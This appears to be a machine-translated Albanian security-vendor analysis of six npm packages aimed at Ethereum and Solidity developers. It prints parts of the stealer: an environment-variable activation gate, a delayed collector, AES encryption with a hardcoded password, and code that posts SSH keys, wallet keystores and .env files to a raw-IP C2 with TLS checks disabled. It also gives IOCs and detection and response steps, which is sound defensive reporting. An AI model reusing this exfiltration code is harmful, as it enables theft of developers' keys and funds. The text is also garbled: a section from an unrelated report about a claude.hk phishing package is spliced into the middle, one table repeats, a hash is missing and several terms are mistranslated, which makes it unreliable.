TL; DR
Më 6 maj 2026, një botues i vetëm i npm, namikazesarada010206, nxorrën gjashtë paketa dashakeqe që synonin ekosistemin e zhvilluesve të Ethereum, Solidity dhe DeFi.
Paketat, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilsdhe web3-utils-core, përdorën emra të besueshëm të projektuar për t'u dukur si biblioteka ndihmëse për mjetet e njohura Web3.
Të gjashtë pakot përmbanin të njëjtën gjë telemetry.js skedar. Skedari ishte identik me bajt në të gjithë klasterin, me SHA-256:
Malware nuk ekzekutohet në kohën e instalimit. Nuk ka preinstall or postinstall grep. Në vend të kësaj, aktivizohet kur paketa importohet përmes require().
Ai detaj ka rëndësi.
Implanti pret derisa një zhvillues ta përdorë paketën. Pastaj kontrollon nëse stacioni i punës duket si një mjedis i vërtetë zhvillimi i Ethereum / Solidity. Ai kërkon çelësa Alchemy ose Infura, çelësa privatë, mnemonikë, çelësa të zhvilluesit ose një direktori lokale Foundry.
Nëse hosti përputhet, vjedhësi mbledh çelësat privatë SSH, ruajtësit e çelësave të portofolit Foundry / Geth / Brownie, .env* skedarë dhe variabla të ndjeshme të mjedisit. Ai e enkripton paketën me AES-256-GCM duke përdorur një fjalëkalim të koduar dhe e ekstrafon atë në një pikë fundore IPv4 C2 të papërpunuar me verifikimin TLS të çaktivizuar.
Sistemi i Paralajmërimit të Hershëm për Malware (MEW) i Xygenit i konfirmoi të gjashtë paketat si keqdashëse. Paketa e raportit të heqjes së regjistrit npm është në pritje.
Grumbulli: Gjashtë Paketa, Një Botues
Llogaria e botuesit namikazesarada010206 ishte i lidhur me adresën e paverifikuar të Gmail-it namikazesarada010206@gmail.com.
Fushata u shfaq si një shpërthim publikimi njëditor më 6 maj 2026. Të gjashtë paketat u versionuan si 1.0.0, nuk kishte asnjë varësi në kohën e ekzekutimit dhe dërgoi vetëm tre skedarë:
package.json index.js telemetry.js Ata gjithashtu deklaruan të njëjtën depo burimore:
https://github.com/harunosakura030303-maker/evmchain-config Tre paketat e para u kapën nga skanerët MEW në publikimin e parë. Tre të tjerat u sinjalizuan me forcë pas shqyrtimit nga analisti të profilit npm të botuesit. Pasi i njëjti bajt identik telemetry.js u konfirmua në të gjithë grumbullin, ato u mbyllën si keqdashëse nga qëndrueshmëria.
| paketë | Version | npm Publikuar | Bileta MEW | vendim |
|---|---|---|---|---|
| viem-core | 1.0.0 | 2026-05-06 01:38:44Z | # 51049 | Me qëllim të keq |
| viem-utils-core | 1.0.0 | 2026-05-06 | # 51050 | Me qëllim të keq |
| hardhat-core-utils | 1.0.0 | 2026-05-06 | # 51051 | Me qëllim të keq |
| evm-utils | 1.0.0 | 2026-05-06 | # 51069 | I keqdashës, nga qëndrueshmëria |
| fonderi-utilities | 1.0.0 | 2026-05-06 | # 51071 | I keqdashës, nga qëndrueshmëria |
| web3-utils-core | 1.0.0 | 2026-05-06 | # 51070 | I keqdashës, nga qëndrueshmëria |
Strategjia e emërtimit është e thjeshtë, por efektive.
Këto paketa nuk imitojnë emrat e saktë të rrjedhës së sipërme. Në vend të kësaj, ato përdorin prapashtesa të besueshme "utility" si p.sh. -core, -utilsdhe -utils-coreKjo i bën ato të duken si biblioteka shoqëruese që një zhvillues mund të presë t'i shohë pranë mjeteve Web3.
| Paketë keqdashëse | Objektivi legjitim |
|---|---|
| viem-core | viem, një klient i njohur i Ethereum TypeScript |
| viem-utils-core | viem |
| hardhat-core-utils | hardhat, një mjedis kryesor zhvillimi i Solidity |
| evm-utils | Hapësira e emrave të mjeteve EVM gjenerike |
| fonderi-utilities | fonderi, një zinxhir mjetesh Solidity |
| web3-utils-core | web3-utils, ndihmës të Web3.js |
Ky është modeli i "paketës plotësuese": jo "Unë jam paketa e vërtetë", por "Unë dukem si një ndihmës i arsyeshëm rreth paketës së vërtetë".
Për zhvilluesit e DeFi që lëvizin shpejt, kjo është e mjaftueshme për të krijuar rrezik.
Çfarë ndodh kur paketa importohet
Zinxhiri i sulmit është i vogël, i qëllimshëm dhe i përqendruar në mjediset e zhvillimit të kriptovalutave.
Nuk ka grep instalimi. Në vend të kësaj, çdo paketë përfshin një index.js që eksporton funksionalitetin e cungut dhe më pas ngarkon modulin e telemetrisë keqdashëse.
require('./telemetry').init(); Kjo do të thotë që programi keqdashës aktivizohet që në importimin e parë.
Kjo është e dobishme nga ana operative për sulmuesin. Shumë skanerë dhe sandboxe përqendrohen në sjelljen gjatë instalimit. Kjo paketë pret derisa të përdoret në të vërtetë nga një zhvillues, skript ndërtimi, suitë testimi ose shteg ekzekutimi.
Porta e Aktivizimit: Aktivizo vetëm në Stacione Pune të Vërteta për Zhvilluesit Web3
Pjesa më e rëndësishme e implantit është porta e aktivizimit.
Malware kontrollon për variablat e mjedisit që gjenden zakonisht në makinat e zhvilluesve të Ethereum / Solidity:
const indicators = [ process.env.ALCHEMY_API_KEY, process.env.INFURA_KEY, process.env.PRIVATE_KEY, process.env.MNEMONIC, process.env.DEPLOYER_KEY, ].filter(Boolean); Gjithashtu kontrollon nëse Foundry duket se është instaluar:
fs.existsSync(path.join(os.homedir(), '.foundry')) Nëse asnjëri kusht nuk është i vërtetë, funksioni kthehet dhe nuk bën asgjë.
Kjo e bën paketën më të qetë në mjediset e analizës gjenerike. Një sandbox pa çelësa Foundry, Alchemy, Infura, çelësa privatë ose mnemonikë mund të duket i padëmshëm.
Në një host që përputhet, malware pret 60 deri në 90 sekonda para se të mblidhet:
setTimeout(() => { try { _collect(); } catch {} }, 60000 + Math.random() * 30000).unref(); Vonesa zvogëlon korrelacionin e dukshëm midis importit dhe ekfiltrimit. .unref() Thirrja gjithashtu lejon që procesi pritës të dalë normalisht nëse paketa është importuar në një skript jetëshkurtër.
Kjo nuk është një sjellje e zhurmshme "shkatërro dhe grabit". Është një vjedhës i synuar i projektuar për të shmangur ekzekutimin, përveç nëse mjedisi i zhvilluesit ia vlen të vidhet.
Çfarë mbledh hajduti
Pasi të kalojë porta e aktivizimit, malware mbledh të dhëna nga burimet që kanë më shumë rëndësi në zhvillimin e Web3: çelësa privatë, ruajtës çelësash të portofolit, kredencialet e vendosjes, sekretet e cloud-it, tokenët npm dhe konfigurimi lokal i projektit.
| Burim | Çfarë mblidhet |
|---|---|
| process.env | Çdo variabël që përputhet me /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Skedarët që përmbajnë PRIVATE KEY ose BEGIN OPENSSH, duke përfshirë përmbajtjen e plotë të skedarit |
| ~/.foundry/keystores/* | Skedarët e ruajtjes së çelësave të portofolit Foundry |
| ~/.ethereum/dyqan çelësash/* | Skedarët e ruajtjes së çelësave të portofolit Geth |
| ~/.brownie/accounts/* | Skedarët e ruajtjes së çelësave të portofolit Brownie |
| ${cwd}/.env | Përmbajtja e plotë e skedarit |
| ${cwd}/.env.local | Përmbajtja e plotë e skedarit |
| ${cwd}/.env.production | Përmbajtja e plotë e skedarit |
| ${cwd}/.env.development | Përmbajtja e plotë e skedarit |
| os.emri i hostit() | Meta të dhënat e strehuesit të të dhënave të dhëna nga të dhënat e të dhënave. |
| crypto.randomUUID() | Identifikuesi i viktimës/sesionit |
| Date.now() | Vula kohore e koleksionit |
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com Tokenët ATTA janë:
ATTA_ID 00400014144 ATTA_TOKEN 6478159937 Nuk kemi qenë në gjendje të konfirmojmë nëse telemetria ishte analiza e vetë operatorit apo një kanal i monetizuar veçmas. Tokenët ATTA janë të njëjtë në të dy mostrat që shqyrtuam.
Grupi B: heibai
claude.hk OAuth Phishing + ANTHROPIC_BASE_URL Hijack
Mostra e 1 prillit është krahu më i papërpunuar dhe më i hershëm i fushatës.
heibai:2.1.88-claude.hk-4 u botua nga wuguoqiangvip28, një llogari e krijuar më 7 qershor 2025. Paketa e versionoi veten në mënyrë të qartë kundër versionit legjitim 2.1.88 Lëshim antropik.
Nuk merret me CA-cert MITM. Në vend të kësaj, i gënjen përdoruesit në lidhje me pikën fundore OAuth.
Shtesat keqdashëse përveç burimit të rrjedhur të Kodit Claude përfshijnë:
| Burim | Çfarë mblidhet |
|---|---|
| process.env | Çdo variabël që përputhet me /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Skedarët që përmbajnë PRIVATE KEY ose BEGIN OPENSSH, duke përfshirë përmbajtjen e plotë të skedarit |
| ~/.foundry/keystores/* | Skedarët e ruajtjes së çelësave të portofolit Foundry |
| ~/.ethereum/dyqan çelësash/* | Skedarët e ruajtjes së çelësave të portofolit Geth |
| ~/.brownie/accounts/* | Skedarët e ruajtjes së çelësave të portofolit Brownie |
| ${cwd}/.env | Përmbajtja e plotë e skedarit |
| ${cwd}/.env.local | Përmbajtja e plotë e skedarit |
| ${cwd}/.env.production | Përmbajtja e plotë e skedarit |
| ${cwd}/.env.development | Përmbajtja e plotë e skedarit |
| os.emri i hostit() | Meta të dhënat e strehuesit të të dhënave të dhëna nga të dhënat e të dhënave. |
| crypto.randomUUID() | Identifikuesi i viktimës/sesionit |
| Date.now() | Vula kohore e koleksionit |
Lista e synuar është shumë specifike. Kjo nuk është vjedhje e përgjithshme e shfletuesve ose vjedhje e gjerë e kredencialeve. Ajo synon zhvilluesit që ndërtojnë, testojnë, vendosin ose operojnë aplikacione Ethereum.
Përfshirja e ruajtjes së çelësave Foundry, Geth dhe Brownie është veçanërisht e rëndësishme. Këto skedarë mund të përfaqësojnë qasje të drejtpërdrejtë në portofolet ose identitetet e vendosjes. Nëse sulmuesi mund t'i çiftëzojë ato me fjalëkalime, mnemonikë ose sekrete mjedisore, ai mund të jetë në gjendje të lëvizë fonde, të imitojë vendosësit ose të kompromentojë operacionet e kontratave inteligjente.
Enkriptimi para ekstradimit
Malware-i i enkripton të dhënat e mbledhura përpara se t'i dërgojë ato.
const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv); Fjalëkalimi i koduar është:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d Ngarkesa përfundimtare mbështillet si JSON:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"} Enkriptimi nuk e bën vetë programin keqdashës më të avancuar. Megjithatë, e bën inspektimin e rrjetit më të vështirë. Një mbrojtës që vëzhgon daljen do të shihte një ngarkesë JSON, por jo çelësat e vjedhur, skedarët e portofolit ose... .env përmbajtje pa fjalëkalimin e koduar në mënyrë të ngurtë dhe logjikën e deshifrimit.
Ekfiltrimi në një IPv4 C2 të Papërpunuar
Rruga e eksfiltrimit është e koduar në mënyrë të ngurtë:
const req = https.request({ hostname: '76.13.37.80', port: 8443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json', ... }, rejectUnauthorized: false, timeout: 8000, }, () => {}); Malware dërgon të dhëna te:
https://76.13.37.80:8443/api/v1/telemetry Dy detaje bien në sy.
Së pari, C2 është një adresë IPv4 e papërpunuar dhe jo një domen. Kjo eliminon nevojën për regjistrimin e domenit dhe shmang disa zbulime të bazuara në domen.
Së dyti, verifikimi TLS është i çaktivizuar me:
rejectUnauthorized: false Kjo i lejon programeve keqdashëse të pranojnë çdo certifikatë, duke përfshirë certifikatat e vetë-nënshkruara. Me fjalë të tjera, sulmuesi merr transport të koduar pa pasur nevojë për një certifikatë të vlefshme publike.
Nuk ka logjikë riprovimi dhe asnjë strehues rezervë. Gabimet gëlltiten në heshtje. Kjo e mban paketën të qetë nëse C2 është jashtë linje ose i paarritshëm.
Pse ka rëndësi kjo fushatë
Shumica e paketave dashakeqe npm që synojnë zhvilluesit ndjekin kredenciale të gjera: tokena npm, çelësa AWS, tokena GitHub ose .npmrc files.
Kjo fushatë e ngushton objektivin.
Kërkon për shenja që makina i përket një zhvilluesi të Ethereum ose Solidity. Pastaj tërheq pikërisht asetet që kanë rëndësi në atë mjedis: ruajtës çelësash të portofolit, çelësa privatë, mnemonikë, çelësa të zhvilluesit, .env skedarët dhe çelësat SSH.
Kjo e bën fushatën më të rrezikshme për ekipet Web3 sesa një vjedhës npm gjenerik.
Një infeksion i suksesshëm mund të ekspozojë:
- Portofolet e vendosjes
- Çelësat e administratorit të kontratave inteligjente
- Çelësat e ofruesit të RPC-së
- Kredencialet e vendosjes në cloud
- tokenët e publikimit npm
- Qasje SSH në infrastrukturën e zhvilluesit ose të ndërtimit
- Sekretet e projektit të ruajtura në
.envfotografi - Ruajtje çelësash për portofolin Foundry, Geth ose Brownie
Emrat e paketave tregojnë gjithashtu inxhinieri të qartë sociale. Ato synojnë ekosistemin e zhvilluesve të Web3 përmes emrave të njohur të mjeteve: viem, hardhat, foundry, evmdhe web3.
Aktori nuk ka nevojë të bëjë kompromis me projektet reale. Ata kanë nevojë vetëm për një zhvillues për të instaluar atë që duket si një paketë shoqëruese e arsyeshme.
Treguesit e Kompromentimit dhe Zbulimit
| Paketat dhe Botuesi | |
|---|---|
| Fushë | vlerë |
| botuesi i npm | namikazesarada010206 |
| Email-i i botuesit | namikazesarada010206@gmail.com |
| Email-i u verifikua | jo |
| SCM verifikuar | jo |
| Rezultati i reputacionit | 1.0 |
| Paketat | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core |
| Versione | Të gjitha 1.0.0 |
| Depozita e burimit | https://github.com/harunosakura030303-maker/evmchain-config |
| I konfirmuar keqdashës | Të gjashtë paketat |
| Rrjet | |
|---|---|
| Tipi | vlerë |
| Pika fundore C2 | https://76.13.37.80:8443/api/v1/telemetry |
| IP C2 | 76.13.37.80 |
| Porti C2 | 8443/tcp |
| Sjellja e TLS-së | refuzoj I paautorizuar: i gabuar |
| Skema e ngarkesës | {"v":2,"iv": "d": "t": } |
| Skedarët dhe hashet | |
|---|---|
| Tipi | vlerë |
| telemetry.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Paraqitja e paketës | paketë.json, indeks.js, telemetry.js |
| Numri i skedarëve | 3 |
| Madhësia totale e përafërt | 3.4 KB |
Sinjalet e Aktivizimit
Malware kontrollon për këto variabla mjedisi:
ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY Gjithashtu kontrollon për:
~/.foundry/ Shtigjet e hostit të synuara
~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development Regex i koleksionit
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i Shënime Zbulimi
Disa rregulla e kapin këtë fushatë pa pasur nevojë për analizë të plotë të sjelljes.
Së pari, skanoni lockfiles për gjashtë emrat e paketave dashakeqe:
viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core Çdo ndeshje në package-lock.json, yarn.lock, pnpm-lock.yamlose node_modules Historia duhet të trajtohet si një ngjarje serioze.
Së dyti, monitoroni për proceset Node.js që lexojnë shtigjet e ruajtjes së çelësave të portofolit:
~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/ Kjo rrallë është sjellje legjitime për një paketë të importuar si një varësi ndihmëse. Është veçanërisht e dyshimtë kur pasohet nga aktivitet dalës i rrjetit.
Së treti, bllokoni ose njoftoni lidhjet HTTPS për:
76.13.37.80:8443 Sidomos kur rruga e kërkesës është:
/api/v1/telemetry Së katërti, kërkoni për paketa npm që kombinojnë këto tipare:
- Botues i ri ose me reputacion të ulët
- Llogari e paverifikuar në Gmail
- Emri i paketës ngjitur me Web3
- Nuk ka histori kuptimplotë të depozitës
- Paraqitja e paketës së vogël
index.jsqë ngarkon një skedar telemetrie ose ndihmës- Pa varësi në kohën e ekzekutimit
- Koleksion i ndjeshëm i variablave të mjedisit
- Qasje në ruajtjen e çelësave të Portofolit
Ky model është më i dobishëm sesa një IOC i vetëm sepse paketa tjetër mund të ndryshojë adresën IP, por të mbajë të njëjtën logjikë synimi.
Lista e Kontrollit për Reagim ndaj Kompromisit
Nëse një zhvillues përdorte një nga gjashtë paketat dhe mjedisi i tij përputhej me portën e aktivizimit, trajtojeni stacionin e punës si të kompromentuar.
Kjo përfshin makinat me Foundry të instaluar, çelësa Alchemy ose Infura në mjedis, çelësa privatë, mnemonikë ose çelësa deployer.
Përgjigje e rekomanduar:
- Shkëputni hostin nga rrjeti.
- ruaj
node_modules, skedarë bllokimi, historiku i shell-it dhe regjistrat përkatës për forenzikën. - Rrotulloni çdo çift tastierash SSH nën
~/.ssh/. - Rrotulloni çelësat e portofolit për çdo depo çelësash nën
~/.foundry,~/.ethereumdhe~/.brownie. - Zhvendosni fondet në portofolet e reja.
- Rrotulloni çdo sekret të ruajtur në
.env*skedarët në depot në të cilat ka punuar zhvilluesi. - Rrotulloni sekretet e mjedisit që përputhen me regex-in e koleksionit, duke përfshirë çelësat AWS, tokenët npm, tokenët e vendosjes, çelësat API, çelësat privatë, farat dhe mnemonikën.
- Aktiviteti i reve të auditimit, npm, GitHub, ofruesi i RPC dhe blockchain që nga instalimi i parë i paketës.
- Ri-imazhoni stacionin e punës përpara se ta ripërdorni.
Çfarë duhet të marrin mbrojtësit
Kjo fushatë tregon se si uzurpimi i gabimeve në shtyp i npm po evoluon rreth ekosistemeve të zhvilluesve me vlerë të lartë.
Aktorit nuk i duhej këmbëngulje. Ata nuk kishin nevojë për errësim. Ata as nuk kishin nevojë për ekzekutim në kohën e instalimit.
Në vend të kësaj, ata mbështeteshin në tre gjëra:
- Emra të besueshëm të paketave Web3
- Aktivizimi vetëm në makina të vërteta të zhvillimit të kriptove
- Vjedhje e drejtpërdrejtë e skedarëve dhe sekreteve që kanë më shumë rëndësi për zhvilluesit e Ethereum
Kjo e bën fushatën të lehtë për t’u anashkaluar në skanimin e gjerë dhe të rrezikshme kur ajo ndodh në mjedisin e duhur.
Për ekipet Web3, mësimi është i qartë: trajtojini emrat e varësive si pjesë të modelit tuaj të kërcënimit. Një paketë që duket si një ndihmës i padëmshëm mund të bëhet ende rruga më e shkurtër për kompromentimin e portofolit.
Raportuar në regjistrin e npm. Ne do ta përditësojmë këtë postim kur llogaria dhe paketat e botuesit të hiqen.




